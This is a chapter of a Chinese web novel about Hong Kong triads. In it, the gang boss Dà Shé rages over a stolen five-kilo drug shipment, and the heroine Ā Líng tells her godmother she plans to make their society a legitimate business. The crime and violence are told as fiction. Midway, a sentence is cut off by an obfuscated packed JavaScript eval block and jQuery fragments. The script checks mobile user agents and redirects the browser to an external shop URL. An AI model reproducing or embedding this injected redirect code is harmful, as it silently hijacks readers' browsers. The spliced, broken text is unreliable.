31. 第三十一章

作品:《叫我掌舵人[香江]

    飞仔喘着粗气,惊疑不定地环顾四周,他看到屋里一派风平浪静,没有想象中的激烈打斗痕迹,这反常的一幕,让他瞬间起了猜疑同恐惧。


    “你们......你们为什么像没事人一样?!”飞仔声音有些发抖,眼神变得愤怒,指着众人,“......哦!我明白了!是不是你们串通了外人,把人放进来的,想私吞我们的货啊!”


    “放你老豆的臭狗屁!”一个脾气火爆的飞仔腾一下从地上弹坐起来,抄起手边的酒瓶子就砸过去。


    “吵死人!”一个年纪稍大、在社团里辈分较高的四九仔猛地一拍桌子,“都不要互相推卸责任了!我们明显是被人联合起来给耍了!捅出这么大的篓子,大佬追究下来,你们、我们,所有的人啊,都要完蛋!就算把大家一起卖了也填不满这个坑!”


    他深吸一口气,“不要再争啦,赶紧通知各自大佬,由大佬们来定夺!”


    此时,住在另一处的大蛇,这两日本就心情烦躁,睡眠质量差到极点,睡意渐浓时,客厅的电话跟催命符一样尖锐地响了起来。


    大蛇被惊醒,睡意全无,一股无名火窜起,他烦躁的咒骂着,起身一脚踹开碍事的拖鞋,光着脚就冲到电话机旁,一把抓起听筒,“做咩死啊!非得挑半夜三更打电话来啊!是你老豆死了还是你老母跑了?!”


    电话那头沉默一瞬,随即传来一个战战兢兢地声音,“大佬......大佬,不好了,出大事了!那批货......那批货全都没了!”


    大蛇正处在暴怒的边缘,突如其来的噩耗让他瞬间愣住,他骤然掀起眼皮,眼睛瞪得滚圆,下意识握紧了电话筒,厉声吼道:“没了?!怎么会没了?边个这么大胆?!讲清楚点!”


    警署扫毒组那边,今日个个都笑得见牙不见眼,一早返工,门口就摞着一箱子白/粉,足称足两,掂过碌蔗,足足五公斤。


    这等好事,真是天上掉馅饼,廉政公署成立一年多,这世道确实就不同了,街坊市民素质都跟着提升,做好事连名都不留啊。


    相比之下,大蛇那边现在就火烧眉毛,原本讲好两日之后同日本帮交三公斤货,现在全部泡汤,他坐在烟雾缭绕的办公室,听着地下室的飞仔讲经过,气得他把手指骨都捏得咔咔响。


    “讲啊!怎么会搞成这样?”大蛇额上青筋暴起。


    “大佬......是个个子不高的女仔,好鬼快......”飞仔缩埋着头,声音发抖。


    “阿伶!又是这个衰女!”大蛇听完,肺都要气炸,这衰女成日坏他好事,他现在真的恨不得拿把枪冲出去,把阿伶射成马蜂窝,以解他心头之恨!


    一早,飞仔又传回消息,阿伶带着她家那个老婆子已经搬离泥头楼,去了中区,大蛇听完,一拳砸在墙上,震得手骨生疼,但都不及他心里的恨意,恨自己还是晚了一步,煮熟的鸭子都能飞了,生生错失了钳制阿伶的好机会。


    连日的心里郁结,使大蛇的印堂同嘴角一连爆发几粒好大的热毒,他一杯接一杯喝着浓茶降火,眼珠咕碌碌转悠,嘴角咧出个阴毒笑容,终于叫他想出办法,他就不信这次还搞不死阿伶。


    #


    义安堂,东莞仔早上过来时,阿伶已经安顿好乞丐婆的住处,“契妈,你来啦。”阿伶正坐在天井边放空。


    “嗯。”东莞仔应了声,她已经从手下小弟口里知道了乞丐婆的事,直接开口询问:“阿伶,你阿婆过来义安堂暂住是为何?”


    阿伶站起身,没立马回答,而是招呼东莞仔坐下,“契妈,你先坐,我给你倒杯茶。”


    阿伶从炉子上提起铝水壶,倒进茶壶里,等茶沏好,又倒了杯热茶递给东莞仔,这才在对面的凳子上坐下,“契妈,前段时间有人想搞我的事情,你还记得吧?”


    东莞仔吹了吹茶面上的热气,点头,“当然记得啦,查出来没啊?边个那么大胆?”


    “查出来了。”阿伶勾起一抹冷笑,眼神也变得冰冷,“是十二G的龙头,大蛇。之后我同安仔抓了他的人,他狗急跳墙打起我阿婆的主意,叫人去泥头楼跟踪我阿婆。”


    “大蛇?”东莞仔蹙眉,有些莫名,“你以往得罪过他啊?”


    “不是得罪,是结仇。”阿伶顿了顿,才继续说:“契妈,你记得之前开在东区的那家镛记吗?老板镛叔的身份不一般......”


    东莞仔听完阿伶一番来龙去脉的解释,愣了一下,仔细回想,突然睁大眼睛颇为震惊的样子,“什么?!镛叔就是大捞!......他特意去外国整过容貌!啧啧,难怪我们都认不出啊......”


    阿伶看着东莞仔的模样,忍不住扶额,“契妈,你是不是重点搞偏啦?”


    东莞仔喝了口茶,放下杯子,神色严肃起来,“我知啦,你举报十二G的人就举报了嘛,他们卖白/粉本来就违背了洪门的规矩,不过你也知,现在世道变了,其他几个社团都有私心,睁一只眼闭一只眼,没几个真去执行帮规啦,不知道别人怎么想,反正啊,你契妈我是看不惯卖白/粉的。”


    又想到什么,眼神变得锐利起来,“不过,看来以后我们义安堂同十二G要杠上了。”


    阿伶看着东莞仔,心里的石头总算落了地,她今日真真正正认识了她这位契妈,果然没叫她看错人。


    “契妈。”阿伶沉吟一声,身子坐直了些,看向东莞仔的眼睛,“今日我就把话同你讲清楚,我们的码头建设进程已经过半,之后我想逐步让整个义安堂都上岸,完全做正行生意,不再碰黑灰产,我们要堂堂正正做人,以后堂堂正正地进出城寨,这只是我的第一步。”


    阿伶停顿一下,观察东莞仔的反应后,继续说道:“在这个过程中,我们势必要同城寨里的其他社团割席,他们见到我们的改变,或许也会想跟着改变,就像是合盛堂,我会愿意拉他们一把,大家团结起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087609|194434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来一起上岸;但也有我绝对会势不两立的人,就是十二G的白/粉仔们,毒/品的危害剧大,城寨外有差佬管着,而城寨之内,我们的亲朋街坊同样生活在这里,我不想这颗毒瘤继续污染我们的家园。”


    阿伶的语气变得斩钉截铁,“所以,之后我同十二G起冲突,我需要契妈坚定不移地站在我身边。”


    东莞仔看着阿伶脸上流露出与年龄不符的正色,沉思片刻,她端起茶杯,又喝了一口,突然笑了,笑容里带着些欣慰,也带着些感慨。


    “我们阿伶好胆大,契妈为你骄傲。”东莞仔放下手里的杯子,拍了拍阿伶的肩膀,“契妈都快四十岁啦,跟不上港城发展啦,当初起码头开始,契妈就已经完全信任你。”


    她望着阿伶的眼神,真挚而热烈,“义安堂的将来,我们一起努力,我不怕阿伶你有野心,最怕我认得契女没有本事,现在看来,我阿伶不仅有本事,还懂得投桃报李,带整个义安上岸,这样的契女,抵一百个成日只会喊打喊杀的马仔,义安堂有你,是福气。”


    阿伶勾起嘴角,伸手去握住东莞仔温暖而粗粝地大掌,“契妈,你放心,我一定不会令你失望的。”


    阿伶离开前,又扔下一枚重磅炸弹,她凑近契妈耳边,压低了声音,“契妈,最近你出入要格外留神点,我整走了大蛇五公斤的白/粉,他肯定要发阵癫,搞不好会乱咬人。”


    东莞仔闻言手一抖,热茶泼出几滴,烫得她直哈气,瞪向阿伶,“你胆子肥到撞天啊!契妈以后同你见面,都要带好两粒救心丸先,你呢个女仔,动作一个比一个猛,我条老命都被你吓出半截啦......”


    #


    大昆在阿伶这里已经没了价值,但交予警方又会牵连到阿伶,对于他这种贩白/粉的烂仔,阿伶是没有半分同情心的。


    阿昌自从收了五千港币,就彻底认定了阿伶是他的大佬,他是个识时务的,见大佬有烦忧,立马自告奋勇,拍着胸口打包票,“姐仔,大昆呢条尾,交给我处理,包你干净利落,神不知鬼不觉。”


    阿伶没讲什么,由他去做了,阿昌心里一阵火热,觉得自己逐渐入了大佬的法眼。


    阿伶时刻让安仔监视着大蛇的动静,大蛇最近倒是出奇地规矩,日头从屋里出去,就直接去十二G的场子,两点一线,也不出去城寨。


    阿伶反而提防起来,她做暗卫那些年最明白一个道理,越平静,底下就越有可能暗流汹涌,大蛇是条贪得无厌地毒蛇,吃了这么大个闷亏,不会这样忍气吞声。


    果然,阿伶的直觉向来准得可怕。


    这日傍晚,阿伶从码头回来,去陪乞丐婆在义安堂吃过饭,又陪着散步消了会儿食,她才回去泥头楼。


    夜幕逐渐吞噬这座城市的天际线,猪笼城寨亮起错落不一地霓虹灯,似黑夜中硕大而迷幻地怪物。


    阿伶刚拉开家门,一记拳头携着冷风砸向她的面门!